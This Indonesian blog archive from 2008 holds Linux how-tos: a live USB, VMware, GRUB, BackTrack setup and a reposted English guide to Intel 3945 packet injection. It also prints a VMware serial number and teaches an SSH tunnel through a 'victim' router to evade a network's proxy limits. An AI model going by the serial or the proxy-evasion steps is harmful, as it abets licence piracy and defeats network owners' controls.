Jumat, 10 Oktober 2008

USB live ubuntu

Install Ubuntu 8.04 pada USB


Bagi temen-temen yang tidak mempunyai cd room / dvd room di rumah dapat membuat live usb sebagai alternatif karena selain praktis untuk dibawa kemana-mana prosess instalasinya pun lumayan cepat. Ya kurang lebih 20 menit...

Langsung saja ke porses instalasi

$ sudo bash
apt-get install syslinux
$ fdisk -l

$ fdisk /dev/sdb1
ketik p
ketik d
ketik 1
ketik d
ketik 2
ketik d
ketik 3
ketik d
ketik 4
ketik n
ketik p
ketik 1
enter 2 x
ketik t
ketik b
ketik a
ketik 1
ketik w
umount /media/disk atau /dev/sdb1 (sesuaikan dengan dimana flash disk anda di mount)
mkfs.vfat /dev/sdb1
wget http://www.startx.ro/sugar/isotostick.sh
chmod u+x isotostick.sh
pindah ke tempat ke directory tempat anda menyimpan isotostick dan iso ubuntu
./isotostick.sh /home/programing/Desktop/ubuntu-8.04-desktop-i386.iso /dev/sdb1 (tunggu sampai proses pengkopian selesai)

Kini flash disk anda sudah berisi live ubuntu

Kamis, 25 September 2008

Install vmware di ubuntu 8.04




Install vmware di ubuntu 8.04

teman-teman pecinta ubuntu dengan memanfaatkan vmware teman-teman sekalian dapat membuat virtualisasi dari Os yang teman-teman suka...

Berikut akan saya paparkan sedikit cara install vmware di ubuntu




sudo -i / sudo bash / sudo su

gedit /etc/apt/sources.list

deb http://repo.ugm.ac.id/ubuntu/ hardy main restricted universe multiverse
deb http://repo.ugm.ac.id/ubuntu/ hardy-updates main restricted universe multiverse
deb http://repo.ugm.ac.id/ubuntu/ hardy-security main restricted universe multiverse


download installer vmware dari web klo saya download di server lokal ilkom yang tercinta

http://spawn.ilkom.unud.ac.id/boss/installer/vmware/

apt-get install build-essential xinetd

cd /home/jarkom/Desktop/ (lihat dimana tempat menyimpan)

tar xfz VMware-server-1.0.5-80187.tar.gz

cd vmware-server-distrib/

./vmware-install.pl

cd ..

tar -zxf vmware-any-any-update117.tgz

cd vmware-any-any-update117/

cd vmware-any-any-update115/

./runme.pl


92N6T-Y0J2D-24KFH-4HN8D (serial number)


vmware-config.pl

cp /lib/libgcc_s.so.1 /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1

exit

vmware

Kalau belum mau jalan coba rubah permission dari file vmware dengan mengetik teks dibawah di command

chmod 777 /home/programing/.vmware
chmod 777 /home/programing/.vmware/preferences
note: /home/namauserkomputer

Satu hal yang harus diperhatikan adalah anda harus hati-hati dalam instalasi apabila anda melakukan kesalahan pada saat installasi vmware maka vmware tidak akan bisa di uninstall


Jika ada yang kurang mohon di tambahkan atau diperbaiki...
Terima kasih...

Kamis, 14 Agustus 2008

BetulKan Grub Error

Kesalahan Pada Saat edit menu grub bisa Diperbaiki dengan...............

Memperbaiki Grub

Kalo grub rusak tinggal dibagusin makai live CD atau Grub Command Line.

Kalau dari terminal
# sudo grub
# find /boot/grub/stage1 (untuk menemukan dimana tempat boot kita berada)
# root (hdX,X) (X=nomor partisi tempat boot berada)
# setup (hd0)
# quit

Kalau dari grub command line

root (hd0,2)
kernel /boot/vmlinuz-2.6.17-10-generic root=/dev/sda3 ro quiet
initrd /boot/initrd.img-2.6.17-10-generic
boot

Kamis, 26 Juni 2008

Bagaimana Menggunakan Linux Backtrack



Ok,banyak yang bertanya2 cara menggunakan linux backtrack.
Disini saya akan mengulas "sedikit" tentang cara menggunakan linux backtrack.
Download dulu linuxnya yang berbentuk livecd download backtrack2
Lalu burn menjadi livecd "caranya"
Booting komputer via cd (jgn lupa setting dibios boot first cd)
=============================================================

-------------------------------------------------------
:: Backtrack 2.0 ::
BackTrack
login: root
password: toor
--------------------------------------------------------
*** When finished, hit Ctrl+Alt+Delete and
wait until the computer reboots ***
--------------------------------------------------------
slax login:_
=============================================================
Lalu login masukkan login:root dan password:toor
Setelah itu Ketikkan xconf
=============================================================
Trying to autoconfigure Xwindow system, please wait...
creating /etc/X11/xorg.conf...
all done. Run startx now.
=============================================================
Atau langsung ketik startx
atau lo bisa ketik guifast
ok sekarang lo dah masuk ke linux backtracknya.


Biasanya backtrack akan men set network secara dhcp tapi kalau ngga caranya gini:
setting IP secara Dhcp.
caranya:
ketik "dhcpd eth0"
(untuk eth0 ini tergantung dari lan card yang lo gunain)
untuk memastikan ketik ifconfig


setting IP secara static.
caranya:
ketik "ifconfig eth0 192.168.1.2/24" ->setting IP dan subnet
ketik "route add default gw 192.168.1.1" -> setting gateway
ketik "echo nameserver 192.168.1.1 > /etc/resolve.conf" -> sett dns
untuk memastikan ketik ifconfig


Jangan lupa untuk ganti passwordnya
caranya:
ketik "passwd" masukkan pasword yang "kuat"


untuk memunculkan bash command bisa ketikkan:
leetmode atau yakuake


cara menginstal backtrack ke harddisk beserta pilihan dual boot:
jalanin "Qtparted" dari linux tsb dari bash command
nanti didalem qtparted tsb terdapat partisi (kayak fdisk di win)
ex: 4Giga
partisi pertama 3.5Giga
partisi Kedua 0.5Giga
yang partisi pertama di format ext3
yang partisi kedua di format linux-swap
(disini qtparted suka ngaco lo buka shell umount ato mount hda1 dan hda2)
hal ini supaya qtparted bisa di create ato format setelah itu jangan lupa commit di toolbarnya
setelah itu buka "backtrack installer" pilih "install backtrack to hda2" hal ini tergantung hdd lo
klo sata biasanya namanya sda klo ide biasanya namanya hda (hda1 buat windows and hda2 buat linux ext3) tunggu sampai 100% setelah itu restart and boot ke linux automatically
dari linux lo buka shell masuk ke folder /etc ketik "nano lilo.conf" trus di lilo tsb tambah ini diatas image
==============================
other = /dev/hda1
label = Windows
table = /dev/hda
==============================
jadi nya klo gw kayak gini
==============================
boot = /dev/hda
prompt
timeout =1200
bitmap=/boot/splash.bmp
change-rules
reset
vga = 0x317
other = /dev/hda1
label = Windows_Xp
table = /dev/hda
image = /boot/vmlinuz
root = current
initrd = /boot/splash.initrd
label = Backtrack_2
read-only
========================
dah sekarang restart lo bisa liat di waktu pertama boot di minta milih mau w1nd0ws apa linux


Sekarang merubah tampilan pertama backtrack :
caranya:
ketik ini di shell alias command promptnya klo di wnd0ws
bt ~ # nano /etc/issue
dah deh tinggal kreasiin sendiri


ngerubah command line logon menjadi otomatis saat kde start:
bt ~ #nano/etc/inittab
rubah id:3:initdefault: menjadi id:4:initdefault:


membuat leetmode start otomatis
ketik:
cd /root/.kde/Autostart
ln -s /usr/bin/leetmode leetmode
hal ini membuat link leetmode di outostart


membuat yakuake start otomatis
ketik:
cd /root/.kde/Autostart
ln -s /opt/kde/bin/yakuake yakuake
sekarang di KDE hanya tinggal tekan F12


Script dibawah yang membuat otomatis cd-rom keluar:
ketik:
cd /etc/rc.d
ketik:
nano rc.6
cari code yang seperti ini:
# eject cdrom devices
. ./usr/lib/liblinuxlive
#echo "Ejecting all CDROMs..."
#list_cdrom_devices while read DEVICE; do
# cdrecord dev=$DEVICE -eject >/dev/null 2>/dev/null
# can't use eject because it's not working with our kernel
# eject -s $DEVICE >/dev/null 2>/dev/null
#done
#echo "========================================"
#echo "It's safe to switch the computer off now"
#echo -ne "Press Enter to $command "
#read junk


cara merubah pesan pertama kali boot:
nano /etc/issue


cara menginstal java client:
INSTALL JAVA CLIENT
http://java.com/en/download/manual.jsp
- Download Java Linux (self-extracting file)
- cd opt
- mkdir java
- cp /tmp/jre-6u1-linux-i586.bin /opt/java
- cd java
- ls
- chmod a+x jre-6u1-linux-i586.bin
- ls -l
- ./jre-6u1-linux-i586.bin
- yes
- ls
http://java.com/en/download/help/5000010500.xml#enable
- cd /opt/firefox/plugins
- ln -s /opt/java/jre1.6.0_01/plugin/i386/ns7/libjavaplugin_oji.so
- Firefox-Preferences-Content-Enable java
Good luck.


secure shell daemon
caranya:
ketik "sshd-generate"
ketik "/usr/sbin/sshd"
ketik "netstat -ant grep 22"


Bikin http server klo bahasa neubenya bikin web server
caranya:
ketik "apachectl start" ->fungsinya hidupin apache server buat web
ketik "netstat -ant grep 80" ->cek apakah port 80 aktif
ketik "apachectl stop" ->fungsinya matiin apache server
ketik "netstat -ant grep 80" ->cek lagi


bikin file tansfer protocol atau kerennya ftp server
caranya:
ketik "atftpd --daemon --port 69 /tmp/"
ketik "netstat -anu grep 69"


bikin vnc server biasanya dipake buat ngeremote
caranya:
ketik "vncserver"
masukkan 8digit pass ato lebih
ketik "netstat -ant grep 5901"

caranya bikin dual boot secara otomatis (dikonfigurasi sendiri sama linuxnya)
tinggal ketik "liloconfig" tinggal ikutin perintahnya aja

konfigurasi IP memakai netconfig
di shell tinggal ketik "netconfig" aja

buat tanem ip
masuk k etc ubah file rc.inet1 "nano /etc/rc.d/rc.inet1.conf"
rubah:
# Config information for eth0:
IPADDR[0]="xxx.xxx.xxx.xxx"
NETMASK[0]="255.255.255.xxx"
USE_DHCP[0]=""
DHCP_HOSTNAME[0]=""
# Default gateway IP address:
GATEWAY="xxx.xxx.xxx.xx"
jangan lupa ketik
bt rc.d # rc.inet1

bikin techmon kayak leetmode di BT3
caranya di sheel ketik "superkaramba" trus download filenya jadi degh di desktop

cara install paket yang berextention .tgz
tinggal ketik:
"installpkg namapaket.tgz"

mengextrax file .gz
"tar -xzvf namafile.gz"
$ tar -zxvf nama_file.tar.gz -C /folder/tujuan/

mengextrax file .bz2
"tar -xjvf namafile.bz2"

bagaimana mengupdate slackware yang ada di backtrack pake slapt-get:
ketik ini di shell "slapt-get --update" setelah itu ketik "slapt-get --upgrade"
ketik 'kwrite /etc/slapt-get/slapt-getrc"
tambahin:
SOURCE=http://darkstar.ist.utl.pt/slackware/
buat download updatean nya
program yang lain yaitu:
Kslackcheck buat update slack juga
ini downloadnya kslackcheck
cara installnya tinggal "installpkg namafile.tgz" selesai lihat di system
nambah fast-track di BT2
caranya download dulu fast-track nya
lalu masukkan ke directory "/pentest/misc/"
setelah itu ketik "chmod 755 fast-track.py"

konfigurasi sound dibacktrack
tinggal ketik "alsaconf" ikutin perintahnya setelah selesai ketik "alsamixer" setelah setting suara ketik "alsactl store" buat nyimpen

ini hal aneh kok pentest ada officenya
yahhh gpp degh namanya juga belajar
pertama download officenya di open office
ekstrax "tar -xzvf OOo_2.3.1_LinuxIntel_install_en-US.tar.gz"
masuk ke folder "cd OOG680_m9_native_packed-1_en-US.9238"
masuk ke folder "cd RPMS"
ketik ini "rpm2tgz *.rpm"
install "installpkg *.tgz"
masuk ke diretory "cd /opt/openoffice.org2.3/program/"
jalanin program "soffice"
bikin di menu kde
bikin di menu start kde
klik kde start klk kanan pilih "edit menu"
pilih editor trus klik kanan pilih new item
name : office
command : '/opt/openoffice.org2.3/program/soffice' #pake tanda ' nya yah
work path : /opt/openoffice.org2.3/program
finish
gretzz to irfahmi
finish

mau milih window manager ketik ini "xwmconfig"


cara buat ngebaca ntfs yaitu pake ntfs-3g
sebelumnya umount dulu partisi yang mau di ntfs
"umount /dev/hda"
"ntfs-3g /dev/hda /mnt/hda? -o force"

cara nginstall Xvidcap buat bikin video tutorial
donwload
trus "installpkg namafile"

install kmail client
download kmailnya
"tar -xjvf kdepim-3.5.6.tar.bz2"
"configure && make && make install"

install thunderbird
download thunderbirdnya
ekstrax "tar -zxvf thunderbird-2.0.0.12.tar.gz"
buat linknya di kde menu editor linknya Thunderbird
atau "double klik thunderbird"

temen g ada yang nanya cara ngerubah password gimana
ketik aja "passwd" ketik password yang panjang
supaya ngga di konfirmasi sama linux lo

mengaktifkan ssh pada backtrack pertama kali
"setup-sshd" untuk start atau memulainya "start-sshd"
untuk stop "stop-sshd"

untuk mengaktifkan firewall di backtrack secara otomatis
bt / # cat >> /etc/rc.d/rc.local
. /etc/rc.d/rc.FireWall start
^d
bt / #
gretzz willy master slackware


Apasih kernel itu (bisa lihat disini)
Apasih perbedaan kernel SMP sama kernel biasa (bisa lihat disini)
semuanya diketik tanpa memakai " "

dikutip dari http://remote-exploits.blogspot.com/

BackTrack 3 USB install and Intel 3945 packet injection

BackTrack 3 USB install and Intel 3945 packet injection
Posted March 9th, 2008 by williamw

I am late announcing this as the official beta has been out since December, however my circumstances recently have changed such that I now have a USB drive. I have been messing around with Backtrack for almost a year and a half now — mostly with the wireless tools — and have been impressed with the powerful arsenal this little bad boy gives you. The best part is that it is FREE!! If you aren’t sure what BackTrack is, I suggest you click here for more information. This will knock your socks off!


For the rest of us who know what it is, I will give you the break down of what you need to do to install BT3 on a USB drive. If you are like me then you are frustrated that your nice laptop comes with such a non-hacker friendly wireless card, the Intel 3945abg. I mean it is a fantastic card for ‘normal’ wireless use–however if one wants to get a little more aggressive with it, than it is near to impossible to allow this card to go into promiscuous mode or to actively inject packets wirelessly. Not to fear though, I will guide you through the steps needed to accomplish both these things.

**The author recognizes there are a variety of methods to go about doing this, however the document procedure below is the one that works best for the author. To follow these EXACT instructions you will need:

1- Computer with Linux

2- Computer with Windows

Step #1

We need to prepare the usb drive for the installation — the usb drive that I used was 8 gig in size, so I wanted to have the majority of the drive available to me as a portable storage space as well as allowing the drive to remain bootable–so my exact process might be a little different than your process. I will try to accommodate for both scenarios.

Ok first off we are going to assume that you don’t have anything on the usb drive (if you do please temporarily move it to another location). Now we need to remove any existing partitions from the USB drive and essentially start from scratch. Insert the USB device into the computer running linux; after the device is recognized and mounted we need to unmount the device from the system so that we can manipulate the partitions. To do this open a terminal window and enter the following command:

umount /dev/sdb [where sdb is the name of the usb drive]

**To find what the drive name is, type: ‘dmesg | tail’ immediately after plugging in the device.

After unmounting the device we want to now use the program called fdisk. From the terminal window type;

sudo fdisk /dev/sdb

[your prompt should change to look like this]

The number of cylinders for this disk is set to 14593.

There is nothing wrong with that, but this is larger than 1024,

and could in certain setups cause problems with:

1) software that runs at boot time (e.g., old versions of LILO)

2) booting and partitioning software from other OSs

(e.g., DOS FDISK, OS/2 FDISK)

Command (m for help):

press ‘p’ to show all the current partitions on the device — I am assuming that there is only one partition on the device, if there are more than one listed then you will need to duplicate the following steps until there are no more partitions showing on the disk.

d [to delete partition]

w [to write changes to disk]

After writing the changes to disk you can press ‘p’ again to confirm that there are no more partitions available on the disk. Now that the device is 100% unallocated space we need to repartition the disk so that we can have a partition for BackTrack 3 to be installed to and another partition to save any changes made to BackTrack and then the third partition is going to be used as the “storage space” that will act as a normal USB drive. Although fdisk is capable of creating new partitions on the device I am going to introduce another program that has a GUI front end that does a good job at creating and formatting the new partitions in one swoop. The program that we will be using is Gparted. If you are using Ubuntu you can install this program from the terminal window by typing:

sudo apt-get install gparted

After installing Gparted we need to start it so in the terminal type:

sudo gparted

This should know open a small rectangle window that displays your current drives partition information. In the upper right hand corner there should be a drop down menu that will allow you to change your device to the USB drive (/dev/sdb) that we just wiped out. After choosing that device you will see that there is no partitions available on the drive and that all space is counted as unallocated. Select the unallocated space and then choose “New”. We need to create a minimum of two partitions, or three if you want some space left on the disk to use as a normal USB drive. Below are the partition sizes and filesystem types I used.

sdb1 — size 6.5 gig — FAT32 [Normal USB storage space]

sdb2 — size 1 gig — FAT32 [BackTrack3 source files]

sdb3 — size 512 MB — EXT2 [BackTrack3 ‘changes’]

**Note you must create a FAT32 parition for the BackTrack3 files to exist on or else the boot script will not run properly

After getting the partitions into the correct order make sure you tell gparted to ‘Write’ the changes to disk. If all goes well gparted will inform you of a success, if not start over at wiping the disk.

Ok so now we have our partitions and file systems it is time to get install BackTrack! First you need to download the installation files specific to a USB installation, click here to get the files. Make sure you get the USB Version. After downloading the the file, extract the files onto the second partition (in my case sdb2). So in the root of the drive I should have two folders “boot and BT3″. After extracting the files we need to run a installation script that will make the first partition bootable. Go into the boot folder and you should see a file called “bootinst.sh” (if you are going to run the script from windows look for the file called “bootinst.bat”). Now we need to run that script file. From the terminal type the following

sudo ./bootinst.sh

Follow the prompts and that should now enable the first partition to be bootable drive. Now we need to configure BackTrack to allow us to save any changes that we make to disk. Once again go into the ‘boot’ folder and then into the ’syslinux’ folder. Inside of that directory there is a file called ’syslinux.cfg’. Open that file up with your favorite text editor. We need to find the section that says “LABEL pc change”, in that section there is a line that says

APPEND vga=0×317 initrd=/boot/initrd.gz ….

And we need to change that line so that it now reads

APPEND vga=0×317 changes=/dev/sdb3 initrd=/boot/initrd.gz

be careful of any extra commas or white spaces, they will disrupt the syntax of the command

(**Note this file displays the different ways that BT3 can be started, because I want to start BT3 in “persistent change” mode (aka it will always save any changes made) I actually moved the entire ‘pc change’ section to the top of the file so that by default BT3 starts in “persistent change” mode. )

After saving the syslinux.cfg file we need to do one last thing — on the third partition that we made (/dev/sdb3) that contains the .EXT2 filesystem we need to create a folder called ‘changes’ in the root level of that partition. Linux is case sensitive so make sure that the folder is called EXACTLY ‘changes’. If your partition numbers are different than what is listed here you need to make the corresponding changes in the syslinux.cfg file to reflect the actual partition number where the ‘changes’ folder is stored. You also need to make sure that your ‘changes’ folder has the proper permissions configured for it; the author has his configured for 777, however this potentially leaves a security problem with respect to this drive. Only configure 755 permissions if you are doing this for testing purposes only. From the terminal window, inside of the /sdb3 root directory issue the following command:

chmod -R 755 changes

ls -l (to confirm that there is total ‘w r x’ permissions on the folder)

Phew well now that is taken care of we need to now enable our intel 3945 wireless card to support monitor mode and packet injection. To do this execute the following commands from the terminal.

1. Download the drivers

mkdir intel-drivers && cd intel-drivers

wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.0.0-10072007...

2. Extract the drivers

tar -xjf ipwraw-ng-2.0.0-10072007.tar.bz2

cd ipwraw-ng

3. Compile & Install & Blacklist from startup

make && make install

make install_ucode

echo “blacklist ipwraw” | sudo tee /etc/modprobe.d/ipwraw

depmod -ae

4. Load new modules and put intel 3945 into monitor mode

modprobe -r iwl3945

modprobe ipwraw

5. Test packet injection

aireplay-ng –test wifi0

6. Resort to normal mode

modprobe -r ipwraw

modprobe iwl3945

Well now you have the ultimate setup — BackTrack 3 on a stick and an internal wireless card that supports packet injection, what more could you want? Well ok, maybe there are just a few things . . . Stay tuned and I will keep you updated on new programs and tools I find using BT3.

dikutip dari https://island.byu.edu/blog/34/backtrack-3-usb-install-and-intel-3945-packet-injection
BackTrack 3 USB install and Intel 3945 packet injection
BackTrack 3 USB install and Intel 3945 packet injection
Posted March 9th, 2008 by williamw

I am late announcing this as the official beta has been out since December, however my circumstances recently have changed such that I now have a USB drive. I have been messing around with Backtrack for almost a year and a half now — mostly with the wireless tools — and have been impressed with the powerful arsenal this little bad boy gives you. The best part is that it is FREE!! If you aren’t sure what BackTrack is, I suggest you click here for more information. This will knock your socks off!


For the rest of us who know what it is, I will give you the break down of what you need to do to install BT3 on a USB drive. If you are like me then you are frustrated that your nice laptop comes with such a non-hacker friendly wireless card, the Intel 3945abg. I mean it is a fantastic card for ‘normal’ wireless use–however if one wants to get a little more aggressive with it, than it is near to impossible to allow this card to go into promiscuous mode or to actively inject packets wirelessly. Not to fear though, I will guide you through the steps needed to accomplish both these things.

**The author recognizes there are a variety of methods to go about doing this, however the document procedure below is the one that works best for the author. To follow these EXACT instructions you will need:

1- Computer with Linux

2- Computer with Windows

Step #1

We need to prepare the usb drive for the installation — the usb drive that I used was 8 gig in size, so I wanted to have the majority of the drive available to me as a portable storage space as well as allowing the drive to remain bootable–so my exact process might be a little different than your process. I will try to accommodate for both scenarios.

Ok first off we are going to assume that you don’t have anything on the usb drive (if you do please temporarily move it to another location). Now we need to remove any existing partitions from the USB drive and essentially start from scratch. Insert the USB device into the computer running linux; after the device is recognized and mounted we need to unmount the device from the system so that we can manipulate the partitions. To do this open a terminal window and enter the following command:

umount /dev/sdb [where sdb is the name of the usb drive]

**To find what the drive name is, type: ‘dmesg | tail’ immediately after plugging in the device.

After unmounting the device we want to now use the program called fdisk. From the terminal window type;

sudo fdisk /dev/sdb

[your prompt should change to look like this]

The number of cylinders for this disk is set to 14593.

There is nothing wrong with that, but this is larger than 1024,

and could in certain setups cause problems with:

1) software that runs at boot time (e.g., old versions of LILO)

2) booting and partitioning software from other OSs

(e.g., DOS FDISK, OS/2 FDISK)

Command (m for help):

press ‘p’ to show all the current partitions on the device — I am assuming that there is only one partition on the device, if there are more than one listed then you will need to duplicate the following steps until there are no more partitions showing on the disk.

d [to delete partition]

w [to write changes to disk]

After writing the changes to disk you can press ‘p’ again to confirm that there are no more partitions available on the disk. Now that the device is 100% unallocated space we need to repartition the disk so that we can have a partition for BackTrack 3 to be installed to and another partition to save any changes made to BackTrack and then the third partition is going to be used as the “storage space” that will act as a normal USB drive. Although fdisk is capable of creating new partitions on the device I am going to introduce another program that has a GUI front end that does a good job at creating and formatting the new partitions in one swoop. The program that we will be using is Gparted. If you are using Ubuntu you can install this program from the terminal window by typing:

sudo apt-get install gparted

After installing Gparted we need to start it so in the terminal type:

sudo gparted

This should know open a small rectangle window that displays your current drives partition information. In the upper right hand corner there should be a drop down menu that will allow you to change your device to the USB drive (/dev/sdb) that we just wiped out. After choosing that device you will see that there is no partitions available on the drive and that all space is counted as unallocated. Select the unallocated space and then choose “New”. We need to create a minimum of two partitions, or three if you want some space left on the disk to use as a normal USB drive. Below are the partition sizes and filesystem types I used.

sdb1 — size 6.5 gig — FAT32 [Normal USB storage space]

sdb2 — size 1 gig — FAT32 [BackTrack3 source files]

sdb3 — size 512 MB — EXT2 [BackTrack3 ‘changes’]

**Note you must create a FAT32 parition for the BackTrack3 files to exist on or else the boot script will not run properly

After getting the partitions into the correct order make sure you tell gparted to ‘Write’ the changes to disk. If all goes well gparted will inform you of a success, if not start over at wiping the disk.

Ok so now we have our partitions and file systems it is time to get install BackTrack! First you need to download the installation files specific to a USB installation, click here to get the files. Make sure you get the USB Version. After downloading the the file, extract the files onto the second partition (in my case sdb2). So in the root of the drive I should have two folders “boot and BT3″. After extracting the files we need to run a installation script that will make the first partition bootable. Go into the boot folder and you should see a file called “bootinst.sh” (if you are going to run the script from windows look for the file called “bootinst.bat”). Now we need to run that script file. From the terminal type the following

sudo ./bootinst.sh

Follow the prompts and that should now enable the first partition to be bootable drive. Now we need to configure BackTrack to allow us to save any changes that we make to disk. Once again go into the ‘boot’ folder and then into the ’syslinux’ folder. Inside of that directory there is a file called ’syslinux.cfg’. Open that file up with your favorite text editor. We need to find the section that says “LABEL pc change”, in that section there is a line that says

APPEND vga=0×317 initrd=/boot/initrd.gz ….

And we need to change that line so that it now reads

APPEND vga=0×317 changes=/dev/sdb3 initrd=/boot/initrd.gz

be careful of any extra commas or white spaces, they will disrupt the syntax of the command

(**Note this file displays the different ways that BT3 can be started, because I want to start BT3 in “persistent change” mode (aka it will always save any changes made) I actually moved the entire ‘pc change’ section to the top of the file so that by default BT3 starts in “persistent change” mode. )

After saving the syslinux.cfg file we need to do one last thing — on the third partition that we made (/dev/sdb3) that contains the .EXT2 filesystem we need to create a folder called ‘changes’ in the root level of that partition. Linux is case sensitive so make sure that the folder is called EXACTLY ‘changes’. If your partition numbers are different than what is listed here you need to make the corresponding changes in the syslinux.cfg file to reflect the actual partition number where the ‘changes’ folder is stored. You also need to make sure that your ‘changes’ folder has the proper permissions configured for it; the author has his configured for 777, however this potentially leaves a security problem with respect to this drive. Only configure 755 permissions if you are doing this for testing purposes only. From the terminal window, inside of the /sdb3 root directory issue the following command:

chmod -R 755 changes

ls -l (to confirm that there is total ‘w r x’ permissions on the folder)

Phew well now that is taken care of we need to now enable our intel 3945 wireless card to support monitor mode and packet injection. To do this execute the following commands from the terminal.

1. Download the drivers

mkdir intel-drivers && cd intel-drivers

wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.0.0-10072007...

2. Extract the drivers

tar -xjf ipwraw-ng-2.0.0-10072007.tar.bz2

cd ipwraw-ng

3. Compile & Install & Blacklist from startup

make && make install

make install_ucode

echo “blacklist ipwraw” | sudo tee /etc/modprobe.d/ipwraw

depmod -ae

4. Load new modules and put intel 3945 into monitor mode

modprobe -r iwl3945

modprobe ipwraw

5. Test packet injection

aireplay-ng –test wifi0

6. Resort to normal mode

modprobe -r ipwraw

modprobe iwl3945

Well now you have the ultimate setup — BackTrack 3 on a stick and an internal wireless card that supports packet injection, what more could you want? Well ok, maybe there are just a few things . . . Stay tuned and I will keep you updated on new programs and tools I find using BT3.

dikutip dari https://island.byu.edu/blog/34/backtrack-3-usb-install-and-intel-3945-packet-injection

Kamis, 29 Mei 2008

Putty dan ssh

July 11, 2007 by oasisnet

SSH Tunnels bisa juga disebut Port Forwarding. Berikut langkah-langkah yang sudah saya
pelajari dan sudah saya praktekkan. Karena masih dibilang Newbie, untuk itu mohon maaf jika ada kesalahan dalam tutorial ini. Selama ini SSH Tunnels saya
gunakan untuk mIRC dan atau untuk browsing.Mungkin SSH Tunnels bisa digunakan untuk kebutuhan yang lain yang lebih penting, saya kurang tahu. Selamat mencoba…



—-Read —-

Persiapan :
* Koneksi Internet
* SSH
* Putty
* Rokok + Kopi
* Apa aja deh…
Langkah Pertama :
1. Buka Putty
2. Klik tab Tunnels
3. Pilih Dynamic
4. Isikan Port (Socks 4 atau Socks 5)
5. Add

Langkah Kedua :
1. Pilih Session
2. Isikan Host Name (IP Address)
3. Open

Langkah Ketiga :
1. Login ke SSH
2. Isikan Password
3. Biarkan SSH terbuka

Samarkan IP dengan SSH Tunnels pada mIRC
1. Buka IP localhost 127.0.0.1
2. Isikan Port yang digunakan pada SSH
3. Pilih tab Connect
4. Isi form yang ada di tab Connect
5. OK
6. Connect ke server yang diinginkan
7. Whois nick
8. Horay…!!!

Samarkan IP dengan SSH Tunnels pada Internet Explorer
1. Buka Internet Explorer
2. Pilih tab Connection
3. Pilih tab LAN Setting
4. Centang Option pada Proxy Server
5. Pilih Advance
6. Isikan pada kolom Socks
7. Isikan IP localhost 127.0.0.1 dengan port yang digunakan pada SSH
8. OK
9. Check IP ( showip.com )
10. Horay…!!!
http://ndost.wong-mbatu.or.id/2006/09/Browsing via SSH Tunneling Posted on
2007-02-03 19:22:58. 471 views. 11 comment(s).
Berhubung sudah dibahas oleh matriphe untuk client under Windows, sekarang
mari kita bahas penggunaannya untuk client dengan sistem operasi berbasis UNIX,
misalnya Mac OS X, FreeBSD, atau Linux. Dan tentu saja kali ini saya memakai
Mac OS X.

Mari kita lihat contoh skenario dari gambar di atas. Sebuah jaringan lokal
terhubung ke internet melalui sebuah PC router yang berfungsi sebagai NAT,
singkatnya, PC router terhubung dengan internet dan membagi koneksi ini ke
jaringan lokal. Dan PC router ini menggunakan sistem operasi FreeBSD. Lalu ada
sebuah server lagi yang bertindak sebagai proxy server, dalam kasus ini server
tersebut menggunakan sistem operasi Linux dengan aplikasi Squid sebagai proxy
servernya. Serta sebuah host client bandel yang menggunakan sistem operasi Mac
OS X.

OK. Secara default, segala akses ke internet melalui PC router selain dari
proxy server adalah terblokir (digambarkan dengan tanda panah hitam nomor 4).
Sehingga, untuk berhubungan dengan internet, client mesti melewati proxy
server. Seperti gambar di atas, tanda panah hitam nomor 1 menunjukkan hubungan
client dengan proxy server. Tanda panah hitam nomor 2, menunjukkan bahwa
request dari client diteruskan ke internet melalui PC router. Dan tanda panah
hitam nomor 3, menunjukkan bahwa request dari proxy server diteruskan ke
internet, juga terjadi proses translasi alamat privat ke alamat publik oleh NAT.

Biasanya pemilik jaringan memaksa client agar melewati proxy server selain
untuk menghemat bandwidth juga untuk manajemen accounting. Misalnya membatasi
quota volume tiap user, membatasi kecepatan download user, ataupun membatasi
ukuran file yang boleh di-download oleh user, serta memblokir alamat-alamat
yang mengandung kata-kata tertentu. Namun dasar client bandel, selalu mencoba
untuk mengakali limitasi yang diberikan oleh proxy server. Hehehehe…

Untuk membuat koneksi SSH, tentu saja baik klien dan server mesti memiliki
aplikasi untuk ssh. Karena servernya menggunakan FreeBSD yang berbasis UNIX,
tentu saja sudah memiliki aplikasi sshd sebagai SSH server. Dan aplikasi ini
harus aktif agar dapat diakses dari host lain. Biasanya aplikasi sshd ini
diaktifkan oleh admin untuk remote console, sehingga sang admin tidak perlu
mengakses servernya secara fisik. Sementara untuk kliennya, biasanya sistem
operasi berbasis UNIX memiliki aplikasi ssh. Untuk klien yang menggunakan
sistem operasi Windows, dapat menggunakan aplikasi PuTTY seperti yang telah
dijelaskan oleh matriphe di blognya.

Kita misalkan alamat IP PC router tersebut di sisi LAN adalah 10.14.0.1. Maka
kita harus login ke komputer tersebut dengan menggunakan perintah ssh. Kita
mulai saja. Pada OSX, jalankan aplikasi Terminal.app, lalu login ke komputer
korban dengan sintax sebagai berikut. Namun tetap saja Anda membutuhkan
password dan username yang valid untuk digunakan. Hehehehe…

$ ssh -D 4567 [EMAIL PROTECTED]

Parameter -D 4567 adalah untuk mengaktifkan port-forwarding dinamis di
komputer lokal dengan port 4567. Nomor portnya sendiri adalah bebas, Anda dapat
menggunakan port berapa saja yang tidak terpakai. Gunakanlah port dengan nomor
di atas 1000. [EMAIL PROTECTED] berarti kita akan login sebagai root di
komputer dengan alamat IP 10.14.0.1. Anda tidak harus login sebagai root,
sebagai user lain juga bisa.

Setelah koneksi SSH dengan korban tercipta, mari kita setting browser kita. Di
sini saya mencontohkan dengan browser Firefox. Masuk ke preferences, lalu cari
bagian network connections. Pilih “Manual Proxy Configurations”, kosongkan
semua field, lalu isi field “SOCKS Host” dengan alamat loopback, yakni
127.0.0.1, lalu isi port-nya sesuai dengan port yang Anda gunakan. Sebagai
contoh, saya sertakan gambar contoh di bawah.

Lalu mari kita lihat hasilnya.

Dengan SSH Tunneling ini, request akan langsung dikirimkan ke PC router tanpa
melewati proxy server (digambarkan dengan garis putus-putus biru nomor 5)
melalui jalur tunnel ssh yang telah dibuat sebelumnya. Lalu request ini
langsung di kirimkan ke internet, seolah-olah request ini dikirimkan dari PC
router langsung (digambarkan dengan garis putus-putus biru nomor 6). Jadi Anda
berinternet seolah-olah berada di komputer PC router tersebut. Untuk bandwith,
tentu sudah jaminan mutu tanpa ada limitasi proxy maupun dari PC router itu
sendiri.
Memahami Perintah Dasar di Linux

